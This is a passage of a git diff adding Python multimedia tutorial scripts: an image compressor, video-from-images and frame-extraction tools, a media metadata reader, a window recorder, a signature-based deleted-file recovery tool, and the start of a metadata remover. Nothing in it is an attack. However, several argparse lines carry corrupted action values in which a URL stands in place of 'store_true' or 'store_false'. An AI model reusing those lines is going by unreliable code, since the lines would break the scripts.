img.convert("RGB") + img.save(output_path, **save_kwargs) + + logger.info(f"[+] Saved to: {output_path}") + logger.info(f"[+] New size: {get_size_format(os.path.getsize(output_path))}") + except Exception as e: + logger.error(f"[!] Error processing {input_path}: {e}") + +def batch_compress( + input_paths, + output_dir=None, + quality=85, + resize_ratio=1.0, + width=None, + height=None, + to_jpg=False, + preserve_metadata=True, + lossless=False, +): + """Compress multiple images.""" + if output_dir and not os.path.exists(output_dir): + os.makedirs(output_dir, exist_ok=True) + for path in tqdm(input_paths, desc="Compressing images"): + compress_image(path, output_dir, quality, resize_ratio, width, height, to_jpg, preserve_metadata, lossless) + +if __name__ == "__main__": + parser = argparse.ArgumentParser(description="Advanced Image Compressor with Batch Processing") + parser.add_argument("input", nargs='+', help="Input image(s) or directory") + parser.add_argument("-o", "--output-dir", help="Output directory (default: same as input)") + parser.add_argument("-q", "--quality", type=int, default=85, help="Compression quality (0-100)") + parser.add_argument("-r", "--resize-ratio", type=float, default=1.0, help="Resize ratio (0-1)") + parser.add_argument("-w", "--width", type=int, help="Output width (requires --height)") + parser.add_argument("-hh", "--height", type=int, help="Output height (requires --width)") + parser.add_argument("-j", "--to-jpg", action="https://github.com/store_true", help="Convert output to JPEG") + parser.add_argument("-m", "--no-metadata", action="https://github.com/store_false", help="Strip metadata") + parser.add_argument("-l", "--lossless", action="https://github.com/store_true", help="Use lossless compression (PNG/WEBP)") + + args = parser.parse_args() + input_paths = [] + for path in args.input: + if os.path.isdir(path): input_paths.extend(os.path.join(path, f) for f in os.listdir(path) if f.lower().endswith((".jpg",".jpeg",".png",".webp"))) + else: input_paths.append(path) + if not input_paths: logger.error("No valid images found!"); exit(1) + batch_compress(input_paths, args.output_dir, args.quality, args.resize_ratio, args.width, args.height, args.to_jpg, args.no_metadata, args.lossless) diff --git a/python-for-multimedia/compress-image/jakarta.png b/python-for-multimedia/compress-image/jakarta.png new file mode 100644 index 00000000..166a5600 Binary files /dev/null and b/python-for-multimedia/compress-image/jakarta.png differ diff --git a/python-for-multimedia/compress-image/requirements.txt b/python-for-multimedia/compress-image/requirements.txt new file mode 100644 index 00000000..5873a222 --- /dev/null +++ b/python-for-multimedia/compress-image/requirements.txt @@ -0,0 +1 @@ +Pillow \ No newline at end of file diff --git a/python-for-multimedia/compress-image/sample-satellite-images.png b/python-for-multimedia/compress-image/sample-satellite-images.png new file mode 100644 index 00000000..fe885d83 Binary files /dev/null and b/python-for-multimedia/compress-image/sample-satellite-images.png differ diff --git a/python-for-multimedia/create-video-from-images/README.md b/python-for-multimedia/create-video-from-images/README.md new file mode 100644 index 00000000..43cce95b --- /dev/null +++ b/python-for-multimedia/create-video-from-images/README.md @@ -0,0 +1 @@ +# [How to Create Videos from Images in Python](https://thepythoncode.com/article/create-a-video-from-images-opencv-python) \ No newline at end of file diff --git a/python-for-multimedia/create-video-from-images/create_video_from_images.py b/python-for-multimedia/create-video-from-images/create_video_from_images.py new file mode 100644 index 00000000..e81efd9a --- /dev/null +++ b/python-for-multimedia/create-video-from-images/create_video_from_images.py @@ -0,0 +1,43 @@ +import cv2 +import argparse +import glob +from pathlib import Path +import shutil + +# Create an ArgumentParser object to handle command-line arguments +parser = argparse.ArgumentParser(description='Create a video from a set of images') + +# Define the command-line arguments +parser.add_argument('output', type=str, help='Output path for video file') +parser.add_argument('input', nargs='+', type=str, help='Glob pattern for input images') +parser.add_argument('-fps', type=int, help='FPS for video file', default=24) + +# Parse the command-line arguments +args = parser.parse_args() + +# Create a list of all the input image files +FILES = [] +for i in args.input: + FILES += glob.glob(i) + +# Get the filename from the output path +filename = Path(args.output).name +print(f'Creating video "{filename}" from images "{FILES}"') + +# Load the first image to get the frame size +frame = cv2.imread(FILES[0]) +height, width, layers = frame.shape + +# Create a VideoWriter object to write the video file +fourcc = cv2.VideoWriter_fourcc(*'mp4v') +video = cv2.VideoWriter(filename=filename, fourcc=fourcc, fps=args.fps, frameSize=(width, height)) + +# Loop through the input images and add them to the video +for image_path in FILES: + print(f'Adding image "{image_path}" to video "{args.output}"... ') + video.write(cv2.imread(image_path)) + +# Release the VideoWriter and move the output file to the specified location +cv2.destroyAllWindows() +video.release() +shutil.move(filename, args.output) diff --git a/python-for-multimedia/create-video-from-images/requirements.txt b/python-for-multimedia/create-video-from-images/requirements.txt new file mode 100644 index 00000000..1db7aea1 --- /dev/null +++ b/python-for-multimedia/create-video-from-images/requirements.txt @@ -0,0 +1 @@ +opencv-python \ No newline at end of file diff --git a/python-for-multimedia/extract-frames-from-video/README.md b/python-for-multimedia/extract-frames-from-video/README.md new file mode 100644 index 00000000..3b15a18d --- /dev/null +++ b/python-for-multimedia/extract-frames-from-video/README.md @@ -0,0 +1,4 @@ +# [How to Extract Frames from Video in Python](https://www.thepythoncode.com/article/extract-frames-from-videos-in-python) +To run this: +- `pip3 install -r requirements.txt` +- Use `extract_frames_opencv.py` for using OpenCV to extract frames, or use `extract_frames_moviepy.py` for using MoviePy library. \ No newline at end of file diff --git a/python-for-multimedia/extract-frames-from-video/extract_frames_moviepy.py b/python-for-multimedia/extract-frames-from-video/extract_frames_moviepy.py new file mode 100644 index 00000000..14b44670 --- /dev/null +++ b/python-for-multimedia/extract-frames-from-video/extract_frames_moviepy.py @@ -0,0 +1,47 @@ +from moviepy.editor import VideoFileClip +import numpy as np +import os +from datetime import timedelta + +# i.e if video of duration 30 seconds, saves 10 frame per second = 300 frames saved in total +SAVING_FRAMES_PER_SECOND = 10 + +def format_timedelta(td): + """Utility function to format timedelta objects in a cool way (e.g 00:00:20.05) + omitting microseconds and retaining milliseconds""" + result = str(td) + try: + result, ms = result.split(".") + except ValueError: + return (result + ".00").replace(":", "-") + ms = int(ms) + ms = round(ms / 1e4) + return f"{result}.{ms:02}".replace(":", "-") + + +def main(video_file): + # load the video clip + video_clip = VideoFileClip(video_file) + # make a folder by the name of the video file + filename, _ = os.path.splitext(video_file) + filename += "-moviepy" + if not os.path.isdir(filename): + os.mkdir(filename) + + # if the SAVING_FRAMES_PER_SECOND is above video FPS, then set it to FPS (as maximum) + saving_frames_per_second = min(video_clip.fps, SAVING_FRAMES_PER_SECOND) + # if SAVING_FRAMES_PER_SECOND is set to 0, step is 1/fps, else 1/SAVING_FRAMES_PER_SECOND + step = 1 / video_clip.fps if saving_frames_per_second == 0 else 1 / saving_frames_per_second + # iterate over each possible frame + for current_duration in np.arange(0, video_clip.duration, step): + # format the file name and save it + frame_duration_formatted = format_timedelta(timedelta(seconds=current_duration)) + frame_filename = os.path.join(filename, f"frame{frame_duration_formatted}.jpg") + # save the frame with the current duration + video_clip.save_frame(frame_filename, current_duration) + + +if __name__ == "__main__": + import sys + video_file = sys.argv[1] + main(video_file) diff --git a/python-for-multimedia/extract-frames-from-video/extract_frames_opencv.py b/python-for-multimedia/extract-frames-from-video/extract_frames_opencv.py new file mode 100644 index 00000000..62445c22 --- /dev/null +++ b/python-for-multimedia/extract-frames-from-video/extract_frames_opencv.py @@ -0,0 +1,80 @@ +from datetime import timedelta +import cv2 +import numpy as np +import os + +# i.e if video of duration 30 seconds, saves 10 frame per second = 300 frames saved in total +SAVING_FRAMES_PER_SECOND = 10 + +def format_timedelta(td): + """Utility function to format timedelta objects in a cool way (e.g 00:00:20.05) + omitting microseconds and retaining milliseconds""" + result = str(td) + try: + result, ms = result.split(".") + except ValueError: + return (result + ".00").replace(":", "-") + ms = int(ms) + ms = round(ms / 1e4) + return f"{result}.{ms:02}".replace(":", "-") + + +def get_saving_frames_durations(cap, saving_fps): + """A function that returns the list of durations where to save the frames""" + s = [] + # get the clip duration by dividing number of frames by the number of frames per second + clip_duration = cap.get(cv2.CAP_PROP_FRAME_COUNT) / cap.get(cv2.CAP_PROP_FPS) + # use np.arange() to make floating-point steps + for i in np.arange(0, clip_duration, 1 / saving_fps): + s.append(i) + return s + + +def main(video_file): + filename, _ = os.path.splitext(video_file) + filename += "-opencv" + # make a folder by the name of the video file + if not os.path.isdir(filename): + os.mkdir(filename) + # read the video file + cap = cv2.VideoCapture(video_file) + # get the FPS of the video + fps = cap.get(cv2.CAP_PROP_FPS) + # if the SAVING_FRAMES_PER_SECOND is above video FPS, then set it to FPS (as maximum) + saving_frames_per_second = min(fps, SAVING_FRAMES_PER_SECOND) + # get the list of duration spots to save + saving_frames_durations = get_saving_frames_durations(cap, saving_frames_per_second) + # start the loop + count = 0 + while True: + is_read, frame = cap.read() + if not is_read: + # break out of the loop if there are no frames to read + break + # get the duration by dividing the frame count by the FPS + frame_duration = count / fps + try: + # get the earliest duration to save + closest_duration = saving_frames_durations[0] + except IndexError: + # the list is empty, all duration frames were saved + break + if frame_duration >= closest_duration: + # if closest duration is less than or equals the frame duration, + # then save the frame + frame_duration_formatted = format_timedelta(timedelta(seconds=frame_duration)) + cv2.imwrite(os.path.join(filename, f"frame{frame_duration_formatted}.jpg"), frame) + # drop the duration spot from the list, since this duration spot is already saved + try: + saving_frames_durations.pop(0) + except IndexError: + pass + # increment the frame count + count += 1 + + + +if __name__ == "__main__": + import sys + video_file = sys.argv[1] + main(video_file) \ No newline at end of file diff --git a/python-for-multimedia/extract-frames-from-video/requirements.txt b/python-for-multimedia/extract-frames-from-video/requirements.txt new file mode 100644 index 00000000..32620f44 --- /dev/null +++ b/python-for-multimedia/extract-frames-from-video/requirements.txt @@ -0,0 +1,3 @@ +python-opencv +moviepy +numpy \ No newline at end of file diff --git a/python-for-multimedia/extract-frames-from-video/zoo.mp4 b/python-for-multimedia/extract-frames-from-video/zoo.mp4 new file mode 100644 index 00000000..b7dce1d1 Binary files /dev/null and b/python-for-multimedia/extract-frames-from-video/zoo.mp4 differ diff --git a/python-for-multimedia/extract-video-metadata/README.md b/python-for-multimedia/extract-video-metadata/README.md new file mode 100644 index 00000000..f7e1d0b4 --- /dev/null +++ b/python-for-multimedia/extract-video-metadata/README.md @@ -0,0 +1,4 @@ +# [How to Extract Video Metadata in Python](https://www.thepythoncode.com/article/extract-media-metadata-in-python) +To run this: +- Install [FFmpeg](https://www.ffmpeg.org/) program. +- `pip3 install -r requirements.txt` \ No newline at end of file diff --git a/python-for-multimedia/extract-video-metadata/extract_media_metadata.py b/python-for-multimedia/extract-video-metadata/extract_media_metadata.py new file mode 100644 index 00000000..c639acf9 --- /dev/null +++ b/python-for-multimedia/extract-video-metadata/extract_media_metadata.py @@ -0,0 +1,8 @@ +import ffmpeg +import sys +from pprint import pprint # for printing Python dictionaries in a human-readable way + +# read the audio/video file from the command line arguments +media_file = sys.argv[1] +# uses ffprobe command to extract all possible metadata from the media file +pprint(ffmpeg.probe(media_file)["streams"]) diff --git a/python-for-multimedia/extract-video-metadata/requirements.txt b/python-for-multimedia/extract-video-metadata/requirements.txt new file mode 100644 index 00000000..9abb3031 --- /dev/null +++ b/python-for-multimedia/extract-video-metadata/requirements.txt @@ -0,0 +1 @@ +ffmpeg-python \ No newline at end of file diff --git a/python-for-multimedia/extract-video-metadata/zoo.mp3 b/python-for-multimedia/extract-video-metadata/zoo.mp3 new file mode 100644 index 00000000..8d8ac115 Binary files /dev/null and b/python-for-multimedia/extract-video-metadata/zoo.mp3 differ diff --git a/python-for-multimedia/extract-video-metadata/zoo.mp4 b/python-for-multimedia/extract-video-metadata/zoo.mp4 new file mode 100644 index 00000000..b7dce1d1 Binary files /dev/null and b/python-for-multimedia/extract-video-metadata/zoo.mp4 differ diff --git a/python-for-multimedia/record-specific-window/README.md b/python-for-multimedia/record-specific-window/README.md new file mode 100644 index 00000000..700084eb --- /dev/null +++ b/python-for-multimedia/record-specific-window/README.md @@ -0,0 +1,4 @@ +# [How to Record a Specific Window in Python](https://www.thepythoncode.com/article/record-a-specific-window-in-python) +To run this: +- `pip3 install -r requirements.txt` +- Example: for recording Chrome: `python record_specific_window.py Chrome` \ No newline at end of file diff --git a/python-for-multimedia/record-specific-window/record_specific_window.py b/python-for-multimedia/record-specific-window/record_specific_window.py new file mode 100644 index 00000000..0a3d92fe --- /dev/null +++ b/python-for-multimedia/record-specific-window/record_specific_window.py @@ -0,0 +1,41 @@ +import cv2 +import numpy as np +import pyautogui +import pygetwindow as gw +import sys + +# the window name, e.g "notepad", "Chrome", etc. +window_name = sys.argv[1] + +# define the codec +fourcc = cv2.VideoWriter_fourcc(*"XVID") +# frames per second +fps = 12.0 +# the time you want to record in seconds +record_seconds = 10 +# search for the window, getting the first matched window with the title +w = gw.getWindowsWithTitle(window_name)[0] +# activate the window +w.activate() +# create the video write object +out = cv2.VideoWriter("output.avi", fourcc, fps, tuple(w.size)) + +for i in range(int(record_seconds * fps)): + # make a screenshot + img = pyautogui.screenshot(region=(w.left, w.top, w.width, w.height)) + # convert these pixels to a proper numpy array to work with OpenCV + frame = np.array(img) + # convert colors from BGR to RGB + frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB) + # write the frame + out.write(frame) + # show the frame + cv2.imshow("screenshot", frame) + # if the user clicks q, it exits + if cv2.waitKey(1) == ord("q"): + break + +# make sure everything is closed when exited +cv2.destroyAllWindows() +out.release() + diff --git a/python-for-multimedia/record-specific-window/requirements.txt b/python-for-multimedia/record-specific-window/requirements.txt new file mode 100644 index 00000000..85549d53 --- /dev/null +++ b/python-for-multimedia/record-specific-window/requirements.txt @@ -0,0 +1,4 @@ +numpy +opencv-python +pyautogui +pygetwindow \ No newline at end of file diff --git a/python-for-multimedia/recover-deleted-files/README.md b/python-for-multimedia/recover-deleted-files/README.md new file mode 100644 index 00000000..9b57b100 --- /dev/null +++ b/python-for-multimedia/recover-deleted-files/README.md @@ -0,0 +1 @@ +# [How to Recover Deleted Files with Python](https://thepythoncode.com/article/how-to-recover-deleted-file-with-python) \ No newline at end of file diff --git a/python-for-multimedia/recover-deleted-files/file_recovery.py b/python-for-multimedia/recover-deleted-files/file_recovery.py new file mode 100644 index 00000000..057995c4 --- /dev/null +++ b/python-for-multimedia/recover-deleted-files/file_recovery.py @@ -0,0 +1,552 @@ + +import os +import sys +import argparse +import struct +import time +import logging +import subprocess +import signal +from datetime import datetime, timedelta +from pathlib import Path +import binascii + +# File signatures (magic numbers) for common file types +FILE_SIGNATURES = { + 'jpg': [bytes([0xFF, 0xD8, 0xFF, 0xE0]), bytes([0xFF, 0xD8, 0xFF, 0xE1])], + 'png': [bytes([0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A])], + 'gif': [bytes([0x47, 0x49, 0x46, 0x38, 0x37, 0x61]), bytes([0x47, 0x49, 0x46, 0x38, 0x39, 0x61])], + 'pdf': [bytes([0x25, 0x50, 0x44, 0x46])], + 'zip': [bytes([0x50, 0x4B, 0x03, 0x04])], + 'docx': [bytes([0x50, 0x4B, 0x03, 0x04, 0x14, 0x00, 0x06, 0x00])], # More specific signature + 'xlsx': [bytes([0x50, 0x4B, 0x03, 0x04, 0x14, 0x00, 0x06, 0x00])], # More specific signature + 'pptx': [bytes([0x50, 0x4B, 0x03, 0x04, 0x14, 0x00, 0x06, 0x00])], # More specific signature + 'mp3': [bytes([0x49, 0x44, 0x33])], + 'mp4': [bytes([0x00, 0x00, 0x00, 0x18, 0x66, 0x74, 0x79, 0x70])], + 'avi': [bytes([0x52, 0x49, 0x46, 0x46])], +} + +# Additional validation patterns to check after finding the signature +# This helps reduce false positives +VALIDATION_PATTERNS = { + 'docx': [b'word/', b'[Content_Types].xml'], + 'xlsx': [b'xl/', b'[Content_Types].xml'], + 'pptx': [b'ppt/', b'[Content_Types].xml'], + 'zip': [b'PK\x01\x02'], # Central directory header + 'pdf': [b'obj', b'endobj'], +} + +# File endings (trailer signatures) for some file types +FILE_TRAILERS = { + 'jpg': bytes([0xFF, 0xD9]), + 'png': bytes([0x49, 0x45, 0x4E, 0x44, 0xAE, 0x42, 0x60, 0x82]), + 'gif': bytes([0x00, 0x3B]), + 'pdf': bytes([0x25, 0x25, 0x45, 0x4F, 0x46]), +} + +# Maximum file sizes to prevent recovering corrupted files +MAX_FILE_SIZES = { + 'jpg': 30 * 1024 * 1024, # 30MB + 'png': 50 * 1024 * 1024, # 50MB + 'gif': 20 * 1024 * 1024, # 20MB + 'pdf': 100 * 1024 * 1024, # 100MB + 'zip': 200 * 1024 * 1024, # 200MB + 'docx': 50 * 1024 * 1024, # 50MB + 'xlsx': 50 * 1024 * 1024, # 50MB + 'pptx': 100 * 1024 * 1024, # 100MB + 'mp3': 50 * 1024 * 1024, # 50MB + 'mp4': 1024 * 1024 * 1024, # 1GB + 'avi': 1024 * 1024 * 1024, # 1GB +} + +class FileRecoveryTool: + def __init__(self, source, output_dir, file_types=None, deep_scan=False, + block_size=512, log_level=logging.INFO, skip_existing=True, + max_scan_size=None, timeout_minutes=None): + """ + Initialize the file recovery tool + + Args: + source (str): Path to the source device or directory + output_dir (str): Directory to save recovered files + file_types (list): List of file types to recover + deep_scan (bool): Whether to perform a deep scan + block_size (int): Block size for reading data + log_level (int): Logging level + skip_existing (bool): Skip existing files in output directory + max_scan_size (int): Maximum number of bytes to scan + timeout_minutes (int): Timeout in minutes + """ + self.source = source + self.output_dir = Path(output_dir) + self.file_types = file_types if file_types else list(FILE_SIGNATURES.keys()) + self.deep_scan = deep_scan + self.block_size = block_size + self.skip_existing = skip_existing + self.max_scan_size = max_scan_size + self.timeout_minutes = timeout_minutes + self.timeout_reached = False + + # Setup logging + self.setup_logging(log_level) + + # Create output directory if it doesn't exist + self.output_dir.mkdir(parents=True, exist_ok=True) + + # Statistics + self.stats = { + 'total_files_recovered': 0, + 'recovered_by_type': {}, + 'start_time': time.time(), + 'bytes_scanned': 0, + 'false_positives': 0 + } + + for file_type in self.file_types: + self.stats['recovered_by_type'][file_type] = 0 + + def setup_logging(self, log_level): + """Set up logging configuration""" + logging.basicConfig( + level=log_level, + format='%(asctime)s - %(levelname)s - %(message)s', + handlers=[ + logging.StreamHandler(), + logging.FileHandler(f"recovery_{datetime.now().strftime('%Y%m%d_%H%M%S')}.log") + ] + ) + self.logger = logging.getLogger('file_recovery') + + def _setup_timeout(self): + """Set up a timeout handler""" + if self.timeout_minutes: + def timeout_handler(signum, frame): + self.logger.warning(f"Timeout of {self.timeout_minutes} minutes reached!") + self.timeout_reached = True + + # Set the timeout + signal.signal(signal.SIGALRM, timeout_handler) + signal.alarm(int(self.timeout_minutes * 60)) + + def get_device_size(self): + """Get the size of the device or file""" + if os.path.isfile(self.source): + # Regular file + return os.path.getsize(self.source) + else: + # Block device + try: + # Try using blockdev command (Linux) + result = subprocess.run(['blockdev', '--getsize64', self.source], + capture_output=True, text=True, check=True) + return int(result.stdout.strip()) + except (subprocess.SubprocessError, FileNotFoundError): + try: + # Try using ioctl (requires root) + import fcntl + with open(self.source, 'rb') as fd: + # BLKGETSIZE64 = 0x80081272 + buf = bytearray(8) + fcntl.ioctl(fd, 0x80081272, buf) + return struct.unpack('L', buf)[0] + except: + # Last resort: try to seek to the end + try: + with open(self.source, 'rb') as fd: + fd.seek(0, 2) # Seek to end + return fd.tell() + except: + self.logger.warning("Could not determine device size. Using fallback size.") + # Fallback to a reasonable size for testing + return 1024 * 1024 * 1024 # 1GB + + def scan_device(self): + """Scan the device for deleted files""" + self.logger.info(f"Starting scan of {self.source}") + self.logger.info(f"Looking for file types: {', '.join(self.file_types)}") + + try: + # Get device size + device_size = self.get_device_size() + self.logger.info(f"Device size: {self._format_size(device_size)}") + + # Set up timeout if specified + if self.timeout_minutes: + self._setup_timeout() + self.logger.info(f"Timeout set for {self.timeout_minutes} minutes") + + with open(self.source, 'rb', buffering=0) as device: # buffering=0 for direct I/O + self._scan_device_data(device, device_size) + + except (IOError, OSError) as e: + self.logger.error(f"Error accessing source: {e}") + return False + + self._print_summary() + return True + + def _scan_device_data(self, device, device_size): + """Scan the device data for file signatures""" + position = 0 + + # Limit scan size if specified + if self.max_scan_size and self.max_scan_size < device_size: + self.logger.info(f"Limiting scan to first {self._format_size(self.max_scan_size)} of device") + device_size = self.max_scan_size + + # Create subdirectories for each file type + for file_type in self.file_types: + (self.output_dir / file_type).mkdir(exist_ok=True) + + scan_start_time = time.time() + last_progress_time = scan_start_time + + # Read the device in blocks + while position < device_size: + # Check if timeout reached + if self.timeout_reached: + self.logger.warning("Stopping scan due to timeout") + break + + try: + # Seek to position first + device.seek(position) + + # Read a block of data + data = device.read(self.block_size) + if not data: + break + + self.stats['bytes_scanned'] += len(data) + + # Check for file signatures in this block + for file_type in self.file_types: + signatures = FILE_SIGNATURES.get(file_type, []) + + for signature in signatures: + sig_pos = data.find(signature) + + if sig_pos != -1: + # Found a file signature, try to recover the file + absolute_pos = position + sig_pos + device.seek(absolute_pos) + + self.logger.debug(f"Found {file_type} signature at position {absolute_pos}") + + # Recover the file + if self._recover_file(device, file_type, absolute_pos): + self.stats['total_files_recovered'] += 1 + self.stats['recovered_by_type'][file_type] += 1 + else: + self.stats['false_positives'] += 1 + + # Reset position to continue scanning + device.seek(position + self.block_size) + + # Update position and show progress + position += self.block_size + current_time = time.time() + + # Show progress every 5MB or 10 seconds, whichever comes first + if (position % (5 * 1024 * 1024) == 0) or (current_time - last_progress_time >= 10): + percent = (position / device_size) * 100 if device_size > 0 else 0 + elapsed = current_time - self.stats['start_time'] + + # Calculate estimated time remaining + if position > 0 and device_size > 0: + bytes_per_second = position / elapsed if elapsed > 0 else 0 + remaining_bytes = device_size - position + eta_seconds = remaining_bytes / bytes_per_second if bytes_per_second > 0 else 0 + eta_str = str(timedelta(seconds=int(eta_seconds))) + else: + eta_str = "unknown" + + self.logger.info(f"Progress: {percent:.2f}% ({self._format_size(position)} / {self._format_size(device_size)}) - " + f"{self.stats['total_files_recovered']} files recovered - " + f"Elapsed: {timedelta(seconds=int(elapsed))} - ETA: {eta_str}") + last_progress_time = current_time + + except Exception as e: + self.logger.error(f"Error reading at position {position}: {e}") + position += self.block_size # Skip this block and continue + + def _validate_file_content(self, data, file_type): + """ + Additional validation to reduce false positives + + Args: + data: File data to validate + file_type: Type of file to validate + + Returns: + bool: True if file content appears valid + """ + # Check minimum size + if len(data) < 100: + return False + + # Check for validation patterns + patterns = VALIDATION_PATTERNS.get(file_type, []) + if patterns: + for pattern in patterns: + if pattern in data: + return True + return False # None of the patterns were found + + # For file types without specific validation patterns + return True + + def _recover_file(self, device, file_type, start_position): + """ + Recover a file of the given type starting at the given position + + Args: + device: Open file handle to the device + file_type: Type of file to recover + start_position: Starting position of the file + + Returns: + bool: True if file was recovered successfully + """ + max_size = MAX_FILE_SIZES.get(file_type, 10 * 1024 * 1024) # Default to 10MB + trailer = FILE_TRAILERS.get(file_type) + + # Generate a unique filename + filename = f"{file_type}_{start_position}_{int(time.time())}_{binascii.hexlify(os.urandom(4)).decode()}.{file_type}" + output_path = self.output_dir / file_type / filename + + if self.skip_existing and output_path.exists(): + self.logger.debug(f"Skipping existing file: {output_path}") + return False + + # Save the current position to restore later + current_pos = device.tell() + + try: + # Seek to the start of the file + device.seek(start_position) + + # Read the file data + if trailer and self.deep_scan: + # If we know the trailer and deep scan is enabled, read until trailer + file_data = self._read_until_trailer(device, trailer, max_size) + else: + # Otherwise, use heuristics to determine file size + file_data = self._read_file_heuristic(device, file_type, max_size) + + if not file_data or len(file_data) < 100: # Ignore very small files + return False + + # Additional validation to reduce false positives + if not self._validate_file_content(file_data, file_type): + self.logger.debug(f"Skipping invalid {file_type} file at position {start_position}") + return False + + # Write the recovered file + with open(output_path, 'wb') as f: + f.write(file_data) + + self.logger.info(f"Recovered {file_type} file: {filename} ({self._format_size(len(file_data))})") + return True + + except Exception as e: + self.logger.error(f"Error recovering file at position {start_position}: {e}") + return False + finally: + # Restore the original position + try: + device.seek(current_pos) + except: + pass # Ignore seek errors in finally block + + def _read_until_trailer(self, device, trailer, max_size): + """Read data until a trailer signature is found or max size is reached""" + buffer = bytearray() + chunk_size = 4096 + + while len(buffer) < max_size: + try: + chunk = device.read(chunk_size) + if not chunk: + break + + buffer.extend(chunk) + + # Check if trailer is in the buffer + trailer_pos = buffer.find(trailer, max(0, len(buffer) - len(trailer) - chunk_size)) + if trailer_pos != -1: + # Found trailer, return data up to and including the trailer + return buffer[:trailer_pos + len(trailer)] + except Exception as e: + self.logger.error(f"Error reading chunk: {e}") + break + + # If we reached max size without finding a trailer, return what we have + return buffer if len(buffer) > 100 else None + + def _read_file_heuristic(self, device, file_type, max_size): + """ + Use heuristics to determine file size when trailer is unknown + This is a simplified approach - real tools use more sophisticated methods + """ + buffer = bytearray() + chunk_size = 4096 + valid_chunks = 0 + invalid_chunks = 0 + + # For Office documents and ZIP files, read a larger initial chunk to validate + initial_chunk_size = 16384 if file_type in ['docx', 'xlsx', 'pptx', 'zip'] else chunk_size + + # Read initial chunk for validation + initial_chunk = device.read(initial_chunk_size) + if not initial_chunk: + return None + + buffer.extend(initial_chunk) + + # For Office documents, check if it contains required elements + if file_type in ['docx', 'xlsx', 'pptx', 'zip']: + # Basic validation for Office Open XML files + if file_type == 'docx' and b'word/' not in initial_chunk: + return None + if file_type == 'xlsx' and b'xl/' not in initial_chunk: + return None + if file_type == 'pptx' and b'ppt/' not in initial_chunk: + return None + if file_type == 'zip' and b'PK\x01\x02' not in initial_chunk: + return None + + # Continue reading chunks + while len(buffer) < max_size: + try: + chunk = device.read(chunk_size) + if not chunk: + break + + buffer.extend(chunk) + + # Simple heuristic: for binary files, check if chunk contains too many non-printable characters + # This is a very basic approach and would need to be refined for real-world use + if file_type in ['jpg', 'png', 'gif', 'pdf', 'zip', 'docx', 'xlsx', 'pptx', 'mp3', 'mp4', 'avi']: + # For binary files, we continue reading until we hit max size or end of device + valid_chunks += 1 + + # For ZIP-based formats, check for corruption + if file_type in ['zip', 'docx', 'xlsx', 'pptx'] and b'PK' not in chunk and valid_chunks > 10: + # If we've read several chunks and don't see any more PK signatures, we might be past the file + invalid_chunks += 1 + + else: + # For text files, we could check for text validity + printable_ratio = sum(32 <= b <= 126 or b in (9, 10, 13) for b in chunk) / len(chunk) + if printable_ratio < 0.7: # If less than 70% printable characters + invalid_chunks += 1 + else: + valid_chunks += 1 + + # If we have too many invalid chunks in a row, stop + if invalid_chunks > 3: + return buffer[:len(buffer) - (invalid_chunks * chunk_size)] + except Exception as e: + self.logger.error(f"Error reading chunk in heuristic: {e}") + break + + return buffer + + def _format_size(self, size_bytes): + """Format size in bytes to a human-readable string""" + for unit in ['B', 'KB', 'MB', 'GB', 'TB']: + if size_bytes < 1024 or unit == 'TB': + return f"{size_bytes:.2f} {unit}" + size_bytes /= 1024 + + def _print_summary(self): + """Print a summary of the recovery operation""" + elapsed = time.time() - self.stats['start_time'] + + self.logger.info("=" * 50) + self.logger.info("Recovery Summary") + self.logger.info("=" * 50) + self.logger.info(f"Total files recovered: {self.stats['total_files_recovered']}") + self.logger.info(f"False positives detected and skipped: {self.stats['false_positives']}") + self.logger.info(f"Total data scanned: {self._format_size(self.stats['bytes_scanned'])}") + self.logger.info(f"Time elapsed: {timedelta(seconds=int(elapsed))}") + self.logger.info("Files recovered by type:") + + for file_type, count in self.stats['recovered_by_type'].items(): + if count > 0: + self.logger.info(f" - {file_type}: {count}") + + if self.timeout_reached: + self.logger.info("Note: Scan was stopped due to timeout") + + self.logger.info("=" * 50) + + +def main(): + """Main function to parse arguments and run the recovery tool""" + parser = argparse.ArgumentParser(description='File Recovery Tool - Recover deleted files from storage devices') + + parser.add_argument('source', help='Source device or directory to recover files from (e.g., /dev/sdb, /media/usb)') + parser.add_argument('output', help='Directory to save recovered files') + + parser.add_argument('-t', '--types', nargs='+', choices=FILE_SIGNATURES.keys(), default=None, + help='File types to recover (default: all supported types)') + + parser.add_argument('-d', '--deep-scan', action='https://github.com/store_true', + help='Perform a deep scan (slower but more thorough)') + + parser.add_argument('-b', '--block-size', type=int, default=512, + help='Block size for reading data (default: 512 bytes)') + + parser.add_argument('-v', '--verbose', action='https://github.com/store_true', + help='Enable verbose output') + + parser.add_argument('-q', '--quiet', action='https://github.com/store_true', + help='Suppress all output except errors') + + parser.add_argument('--no-skip', action='https://github.com/store_true', + help='Do not skip existing files in output directory') + + parser.add_argument('--max-size', type=int, + help='Maximum size to scan in MB (e.g., 1024 for 1GB)') + + parser.add_argument('--timeout', type=int, default=None, + help='Stop scanning after specified minutes') + + args = parser.parse_args() + + # Set logging level based on verbosity + if args.quiet: + log_level = logging.ERROR + elif args.verbose: + log_level = logging.DEBUG + else: + log_level = logging.INFO + + # Convert max size from MB to bytes if specified + max_scan_size = args.max_size * 1024 * 1024 if args.max_size else None + + # Create and run the recovery tool + recovery_tool = FileRecoveryTool( + source=args.source, + output_dir=args.output, + file_types=args.types, + deep_scan=args.deep_scan, + block_size=args.block_size, + log_level=log_level, + skip_existing=not args.no_skip, + max_scan_size=max_scan_size, + timeout_minutes=args.timeout + ) + + try: + recovery_tool.scan_device() + except KeyboardInterrupt: + print("\nRecovery process interrupted by user.") + recovery_tool._print_summary() + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/python-for-multimedia/remove-metadata-from-images/README.md b/python-for-multimedia/remove-metadata-from-images/README.md new file mode 100644 index 00000000..f1fd7f5c --- /dev/null +++ b/python-for-multimedia/remove-metadata-from-images/README.md @@ -0,0 +1 @@ +# [How to Remove Metadata from an Image in Python](https://thepythoncode.com/article/how-to-clear-image-metadata-in-python) \ No newline at end of file diff --git a/python-for-multimedia/remove-metadata-from-images/clear_metadata.py b/python-for-multimedia/remove-metadata-from-images/clear_metadata.py new file mode 100644 index 00000000..093f6432 --- /dev/null +++ b/python-for-multimedia/remove-metadata-from-images/clear_metadata.py @@ -0,0 +1,33 @@ +# Import necessary libraries. +import argparse +from PIL import Image + + +# Function to clear Metadata from a specified image. +def clear_all_metadata(imgname): + + # Open the image file + img = Image.open(imgname) + + # Read the image data, 